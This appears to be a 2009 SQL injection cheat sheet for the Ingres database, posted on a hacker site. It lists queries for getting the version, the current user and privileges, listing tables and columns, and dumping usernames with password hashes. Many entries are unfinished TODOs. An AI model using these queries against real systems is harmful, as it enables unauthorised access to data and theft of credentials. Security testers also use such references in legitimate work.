Welcome, 38.107.191.100
Send all updates to [ d3hydr8[at]gmail[dot]com ] or use the form below.
Last Modified: Tuesday, 22-Sep-2009 10:11:17 EDT
| Version | select dbmsinfo('_version'); |
| Comments | SELECT 123; -- comment select 123; /* comment */ |
| Current User | select dbmsinfo('session_user'); select dbmsinfo('system_user'); |
| List Users | First connect to iidbdb, then: select name, password from iiuser; |
| List Password Hashes | First connect to iidbdb, then: select name, password from iiuser; |
| List Privileges | select dbmsinfo('db_admin'); select dbmsinfo('create_table'); select dbmsinfo('create_procedure'); select dbmsinfo('security_priv'); select dbmsinfo('select_syscat'); select dbmsinfo('db_privileges'); select dbmsinfo('current_priv_mask'); |
| List DBA Accounts | TODO |
| Current Database | select dbmsinfo('database'); |
| List Databases | TODO |
| List Columns | select column_name, column_datatype, table_name, table_owner from iicolumns; |
| List Tables | select table_name, table_owner from iitables; select relid, relowner, relloc from iirelation; select relid, relowner, relloc from iirelation where relowner != '$ingres'; |
| Find Tables From Column Name | TODO |
| Select Nth Row | Astoundingly, this doesn't seem to be possible! This is as close as you can get: select top 10 blah from table; |
| Select Nth Char | select substr('abc', 2, 1); -- returns 'b' |
| Bitwise AND | The function "bit_and" exists, but seems hard to use. Here's an select substr(bit_and(cast(3 as byte), cast(5 as byte)),1,1); |
ASCII Value -> Char | TODO |
| Char -> ASCII Value | TODO (The "ascii" function exists, but doesn't seem to do what I'd expect.) |
| Casting | select cast(123 as varchar); select cast('123' as integer); |
| String Concatenation | select 'abc' || 'def'; |
If Statement | TODO |
| Case Statement | TODO |
| Avoiding Quotes | TODO |
| Time Delay | ??? See Heavy Queries article for some ideas. |
| Make DNS Requests | TODO |
| Command Execution | TODO |
| Local File Access | TODO |
| Hostname, IP Address | TODO |
| Location of DB files | TODO |
Advertise Here
This site is maintained by d3hydr8[at]gmail[dot]com
darkc0de.com ™ © 2006-Now
EOF